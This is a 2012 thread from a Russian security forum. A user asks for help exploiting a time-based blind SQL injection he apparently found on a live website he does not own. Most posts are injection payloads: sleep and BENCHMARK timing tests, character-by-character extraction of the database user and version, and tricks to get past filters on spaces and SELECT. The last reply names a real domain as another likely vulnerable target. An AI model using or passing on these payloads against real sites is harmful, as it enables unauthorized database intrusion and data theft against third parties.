HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 02.09.2012, 18:15
jkchief
Guest
Сообщений: n/a
Провел на форуме:
977

Репутация: 0
По умолчанию

Всем привет, нашел скулю, но очень она странная.

Ссылку прямую дать не могу

Но может кто подскажет варианты, я хочу ее раскрутить:

Итак детали : Есть некий сайт, скажем

http://site.com

Где по следующей ссылке акунетикс нашел скулю блинд скл инжекшн.

http://site.com/misc/print_version.php

Уязвимость касается POST параметра

page was set to /rus/search.php'=sleep(2)='

Полные пост данные:

name=blah&page=/rus/search.php'=sleep(2)='

SQLMAP ее не находит.

Реакция сервера:

1) sleep(2) - засыпает на 20 секунд. Чтобы заснул на 1 секунду, приходится ставить sleep(0.1) - почему так непонятно

2) пробовал следующие варианты:

Не засыпаетИли не засыпает на добавочный слип)

page=blah'=sleep(0.2)='

page='=sleep(0.2)='

page=/rus/search.php'=sleep(0.1)= '

page=/rus/search.php'=sleep(0.1)='" AND (BENCHMARK(100000,SHA1(CURRENT_USER)))

page=/rus/search.php'=sleep(0.1)='" UNION SELECT (BENCHMARK(100000,SHA1(CURRENT_USER))) --

page=/rus/search.php'=(BENCHMARK(100000,SHA1(CURRENT_USER))) =1"

page=/rus/search.php'= (BENCHMARK(100000,SHA1(CURRENT_USER)))='

page=/rus/search.php='=SLEEP(0.1)+(BENCHMARK(100000,SHA1(CUR RENT_USER)))='

page=/rus/search.php'=sleep(0.1)=' AND WHERE (BENCHMARK(100000,SHA1(CURRENT_USER)))=1

page=/rus/search.php'=(IF((IFNULL(ASCII(SUBSTRING((SELECT @@version),1,1)),0)
 
Ответить с цитированием

  #2  
Старый 03.09.2012, 17:53
Gifts
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
Провел на форуме:
2769640

Репутация: 1304


По умолчанию

jkchief а вы уверены, что это слепая инъекция? Скорее похоже, что вы не понимаете что творится с запросом и там возможно получить вывод. Ну и фильтруются пробелы.

Попробуйте замены пробелов вначале, а именно запросы вида:

Код:
Code:
page=/rus/search.php'/**/and/**/1=1/**/''='
page=/rus/search.php'/**/and/**/0=1/**/''='
page=/rus/search.php'%0aand%0a1=1%0a''='
page=/rus/search.php'%0aand%0a0=1%0a''='
И вопрос стоило писать сюда - /thread46016.html
__________________
Любая действущая программа устарела.
Создайте систему, которой сможет пользоваться даже дурак ,и только дурак захочет ею пользоваться.
Как правильно задавать вопросы: _http://www.yakimchuk.ru/questions.htm
 
Ответить с цитированием

  #3  
Старый 03.09.2012, 18:30
jkchief
Guest
Сообщений: n/a
Провел на форуме:
977

Репутация: 0
По умолчанию

/thread46016.html - сюда сначала и написал. Не знаю почему, но потом не нашел своего поста.

Может из-за того, что пост большой.

По уязвимости:

Сервер точно не выдает никаких ошибок. Вывод ошибок SQL сервера заблокирован.

page=/rus/search.php'/**/and/**/1=1/**/''='

page=/rus/search.php'/**/and/**/0=1/**/''='

page=/rus/search.php'%0aand%0a1=1%0a''='

page=/rus/search.php'%0aand%0a0=1%0a''='

Разве что нашел связанную с этим XSS, - на странице выводится в форме поиска скрытое поле, где вставлен value - текст запроса. Никаких признаков жизни от MySQL сервера.

Все варинанты не дейсвуют. Я уже прогонял уязвимость и SQLMAP и хавиджем, добавлял суффиксы и префиксы какие смог придумать. Ничего не находят. Акунетикс ее хоть и нашел, но вот его модуль Blind SQL injector не находит.

Однозначно это только слепая инжекшн.

И я однозначно не понимаю что творится с запросом и как он выглядит хотя-бы приблизительно.
 
Ответить с цитированием

  #4  
Старый 04.09.2012, 03:27
Gifts
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
Провел на форуме:
2769640

Репутация: 1304


По умолчанию

jkchief откройте еще для себя параметр tamper в sqlmap. Проблема в пробелах а не суффиксах. И я имел ввиду нормальный вывод, а не вывод в ошибке.
__________________
Любая действущая программа устарела.
Создайте систему, которой сможет пользоваться даже дурак ,и только дурак захочет ею пользоваться.
Как правильно задавать вопросы: _http://www.yakimchuk.ru/questions.htm
 
Ответить с цитированием

  #5  
Старый 06.09.2012, 04:04
jkchief
Guest
Сообщений: n/a
Провел на форуме:
977

Репутация: 0
По умолчанию

Нормального вывода нет совсем. Это точно.

Остается засыпание.

За наводку на тампер спасибо, если до конца смогу раскрутить скулю, тогда попробую, а пока еще не могу полноценный запрос получить.

Немного доработал скулю и получил следующее:

name=blah&page=/rus/search.php'=(IF(ASCII(SUBSTRING(USER(),4,1))='116' ,1,sleep(0.1)))='

Таким образом узнал пользователя, версию бд, название бд.

Но дальше пойти не могу.....нужно же вместо USER() вставлять полноценный запрос селект:

Вот что пробовал:

Нашел в инете примеры обхода пробелов, типа:

select(null),mid(group_concat(table_name),600,100) ,(null)from(information_schema.tables)

select(null),table_name,(null)from(information_sch ema.tables)limit 28

select(null),group_concat(column_name),(null)from( information_schema.columns)where(table_name)=(0x75 73657273)


(вставленно заранее ложный кондишен и если запрос составлен правильно, то должен засыпать на секунду.)

Не засыпает:

name=blah&page=/rus/search.php'=(IF(ASCII(SELECT SUBSTRING(USER(),4,1))='WTF',1,sleep(0.1)))='

name=blah&page=/rus/search.php'=(IF(ASCII(SELECT(null)SUBSTRING(USER() ,4,1))='WTF',1,sleep(0.1)))='

name=blah&page=/rus/search.php'=(IF(ASCII(SELECT(null),SUBSTRING(USER( ),4,1))='WTF',1,sleep(0.1)))='

name=blah&page=/rus/search.php'=(IF(ASCII(SELECT(0),SUBSTRING(USER(),4 ,1))='WTF',1,sleep(0.1)))='

name=blah&page=/rus/search.php'=(IF(ASCII(SUBSTRING(select(0),group_co ncat(table_name),(0)from(information_schema.tables ),4,1))='WTF',1,sleep(0.1)))='

name=blah&page=/rus/search.php'=(IF(ASCII(SUBSTRING(SeLeCt(0),gRoup_Co nCat(table_name),(0)fRom(information_schema.tables ),4,1))='WTF',1,sleep(0.1)))='

name=blah&page=/rus/search.php'=(IF(ASCII(SUBSTRING(SeLeCT+1,2,concat(/*!table_name*/)+FrOM/*information_schema*/.tables/*!WHERE*/+/*!TaBlE_ScHeMa*/+like+database()),4,1))='WTF',1,sleep(0.1)))='

name=blah&page=/rus/search.php'=(IF(ASCII(SELECT/*foo*/SUBSTRING(USER(),4,1))='WTF',1,sleep(0.1)))='

Вроде как фильруется селект

Засыпает:

name=blah&page=/rus/search.php'=(IF(ASCII(/*Sfoo*/SUBSTRING(USER(),4,1))='WTF',1,sleep(0.1)))='

name=blah&page=/rus/search.php'=(IF(ASCII(SUBS/*Sfoo*/TRING(USER(),4,1))='WTF',1,sleep(0.1)))='
 
Ответить с цитированием

  #6  
Старый 11.09.2012, 17:54
kamaz
Познающий
Регистрация: 31.01.2007
Сообщений: 88
Провел на форуме:
631013

Репутация: 453
Отправить сообщение для kamaz с помощью ICQ
По умолчанию

Помимо такого обхода пробела можно еще попытаться использовать

Код:
Code:
%0a
, иногда срабатывает.

Также, проверить на фильтрацию чего либо (в данном случае - конструкции select или union select) можно, внедрив в заблаговременно успешный запрос конструкции вида

Код:
Code:
/*select*/
или

Код:
Code:
/*union select*/
соответственно.

И еще, можно попытаться подобрать другие параметры, влияющие на вывод. Например, поискав сайты со схожими конструкциями ссылок... Как вариант -

Код:
Code:
http://rollholl.ru/misc/print_version.php
POST

Код:
Code:
page=/rus/search.php?mode=&change=&cat=10&brand=0
Где параметр "cat" является уязвимым)
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ